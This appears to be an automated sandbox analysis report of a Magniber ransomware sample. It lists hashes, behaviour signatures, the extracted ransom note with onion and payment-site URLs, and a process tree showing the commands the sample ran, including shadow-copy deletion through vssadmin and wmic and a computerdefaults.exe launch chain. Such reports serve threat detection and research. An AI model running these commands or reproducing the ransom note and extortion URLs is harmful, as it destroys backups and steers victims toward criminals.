Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    01-11-2021 07:01

General

  • Target

    jrbgmq.inf.dll

  • Size

    38KB

  • MD5

    0aea8bca4799f7a2e44d4be293787d9a

  • SHA1

    a957236b7c257c2bc604bb3f2b6c294b2f34691f

  • SHA256

    92b8d14c0b35823e25773eb324720dfe3a285d533f5a59f93f8136280acd0e0e

  • SHA512

    49f1264b3e949d4592fe55f1f2661b58d1884a78c73c22cf3883c7448455004cc4445b548f5203cca6a6927f2c008865bb82575b37554a7c0c031ad3b2e5a91e

Score
10/10

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://c828f61882783e40brdrejjurq.3vygk5flyo5rn37gyezm5s2e57lq6e34tgr6nrhsatiuskwo3kwepiid.onion/rdrejjurq Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://c828f61882783e40brdrejjurq.bankhid.space/rdrejjurq http://c828f61882783e40brdrejjurq.letsyou.uno/rdrejjurq http://c828f61882783e40brdrejjurq.bookrow.website/rdrejjurq http://c828f61882783e40brdrejjurq.twosat.fit/rdrejjurq Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://c828f61882783e40brdrejjurq.3vygk5flyo5rn37gyezm5s2e57lq6e34tgr6nrhsatiuskwo3kwepiid.onion/rdrejjurq

http://c828f61882783e40brdrejjurq.bankhid.space/rdrejjurq

http://c828f61882783e40brdrejjurq.letsyou.uno/rdrejjurq

http://c828f61882783e40brdrejjurq.bookrow.website/rdrejjurq

http://c828f61882783e40brdrejjurq.twosat.fit/rdrejjurq

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies extensions of user files 3 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 64 IoCs
  • Drops file in Windows directory 3 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies registry class 64 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\jrbgmq.inf.dll,#1
    1⤵
    • Modifies extensions of user files
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:2700
    • C:\Windows\system32\notepad.exe
      notepad.exe C:\Users\Public\readme.txt
      2⤵
      • Opens file in notepad (likely ransom note)
      PID:3152
    • C:\Windows\system32\cmd.exe
      cmd /c "start http://c828f61882783e40brdrejjurq.bankhid.space/rdrejjurq^&1^&47006090^&79^&291^&2215063"
      2⤵
      • Checks computer location settings
      PID:2904
    • C:\Windows\system32\wbem\wmic.exe
      C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2916
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2072
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
        3⤵
          PID:2228
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1572
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1392
    • C:\Windows\system32\cmd.exe
      cmd /c computerdefaults.exe
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3148
      • C:\Windows\system32\ComputerDefaults.exe
        computerdefaults.exe
        2⤵
          PID:3232
      • C:\Windows\system32\cmd.exe
        cmd /c computerdefaults.exe
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:3144
        • C:\Windows\system32\ComputerDefaults.exe
          computerdefaults.exe
          2⤵
            PID:4056
        • C:\Windows\system32\vssadmin.exe
          vssadmin.exe Delete Shadows /all /quiet
          1⤵
          • Process spawned unexpected child process
          • Interacts with shadow copies
          PID:3688
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
            PID:2704
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
            1⤵
            • Drops file in Windows directory
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:3880
          • C:\Windows\system32\browser_broker.exe
            C:\Windows\system32\browser_broker.exe -Embedding
            1⤵
            • Modifies Internet Explorer settings
            PID:2896
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies registry class
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2116
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Drops file in Windows directory
            • Modifies Internet Explorer settings
            • Modifies registry class
            PID:1796
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies registry class
            PID:2492

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Public\readme.txt

            MD5

            c84aec692b49cbe888d84c2aea0dd959

            SHA1

            a693ab426e78185fff6fab87a565a522de862cee

            SHA256

            5e0c00b88eef73ea74c5f42377e7164bb5ac3c983b7868f5269d881c2b2649b9

            SHA512

            d95f4edfe1c4acaa2e8a2a8718b1988cb7159fe4f43f4a6ecab6e9e6d98614ecfc3914059dee1b5de64dd5d514793f4a2d5bb3574cb63fd430b2f76b8187d73a

          • memory/1392-135-0x0000000000000000-mapping.dmp

          • memory/1572-134-0x0000000000000000-mapping.dmp

          • memory/2072-133-0x0000000000000000-mapping.dmp

          • memory/2228-136-0x0000000000000000-mapping.dmp

          • memory/2700-125-0x0000027AF62A0000-0x0000027AF62A1000-memory.dmp

            Filesize

            4KB

          • memory/2700-120-0x0000027AF6240000-0x0000027AF6241000-memory.dmp

            Filesize

            4KB

          • memory/2700-123-0x0000027AF9C50000-0x0000027AF9C51000-memory.dmp

            Filesize

            4KB

          • memory/2700-124-0x0000027AF9C60000-0x0000027AF9C65000-memory.dmp

            Filesize

            20KB

          • memory/2700-122-0x0000027AF6260000-0x0000027AF6261000-memory.dmp

            Filesize

            4KB

          • memory/2700-115-0x0000027AF63C0000-0x0000027AF6709000-memory.dmp

            Filesize

            3.3MB

          • memory/2700-126-0x0000027AF62B0000-0x0000027AF62B1000-memory.dmp

            Filesize

            4KB

          • memory/2700-127-0x0000027AF6710000-0x0000027AF6711000-memory.dmp

            Filesize

            4KB

          • memory/2700-128-0x0000027AF6720000-0x0000027AF6721000-memory.dmp

            Filesize

            4KB

          • memory/2700-137-0x0000027AFB780000-0x0000027AFB781000-memory.dmp

            Filesize

            4KB

          • memory/2700-121-0x0000027AF6250000-0x0000027AF6251000-memory.dmp

            Filesize

            4KB

          • memory/2700-116-0x0000027AF61F0000-0x0000027AF61F1000-memory.dmp

            Filesize

            4KB

          • memory/2700-117-0x0000027AF6200000-0x0000027AF6201000-memory.dmp

            Filesize

            4KB

          • memory/2700-119-0x0000027AF6230000-0x0000027AF6231000-memory.dmp

            Filesize

            4KB

          • memory/2700-118-0x0000027AF6210000-0x0000027AF6211000-memory.dmp

            Filesize

            4KB

          • memory/2904-131-0x0000000000000000-mapping.dmp

          • memory/2916-132-0x0000000000000000-mapping.dmp

          • memory/3152-129-0x0000000000000000-mapping.dmp

          • memory/3232-139-0x0000000000000000-mapping.dmp

          • memory/3700-146-0x0000021B24230000-0x0000021B24238000-memory.dmp

            Filesize

            32KB

          • memory/3700-145-0x0000021B246D0000-0x0000021B246D1000-memory.dmp

            Filesize

            4KB

          • memory/3700-141-0x0000021B24670000-0x0000021B24678000-memory.dmp

            Filesize

            32KB

          • memory/3700-142-0x0000021B24660000-0x0000021B24661000-memory.dmp

            Filesize

            4KB

          • memory/3700-147-0x0000021B244A0000-0x0000021B244A8000-memory.dmp

            Filesize

            32KB

          • memory/3700-144-0x0000021B246E0000-0x0000021B246E8000-memory.dmp

            Filesize

            32KB

          • memory/3700-140-0x0000021B24470000-0x0000021B24478000-memory.dmp

            Filesize

            32KB

          • memory/3700-154-0x0000021B24A60000-0x0000021B24A61000-memory.dmp

            Filesize

            4KB

          • memory/3700-143-0x0000021B24670000-0x0000021B24678000-memory.dmp

            Filesize

            32KB

          • memory/3700-148-0x0000021B24670000-0x0000021B24678000-memory.dmp

            Filesize

            32KB

          • memory/3700-149-0x0000021B246F0000-0x0000021B246F8000-memory.dmp

            Filesize

            32KB

          • memory/3700-150-0x0000021B246E0000-0x0000021B246E1000-memory.dmp

            Filesize

            4KB

          • memory/3700-151-0x0000021B246F0000-0x0000021B246F8000-memory.dmp

            Filesize

            32KB

          • memory/3700-152-0x0000021B24840000-0x0000021B24848000-memory.dmp

            Filesize

            32KB

          • memory/3700-153-0x0000021B24A90000-0x0000021B24A98000-memory.dmp

            Filesize

            32KB

          • memory/4056-138-0x0000000000000000-mapping.dmp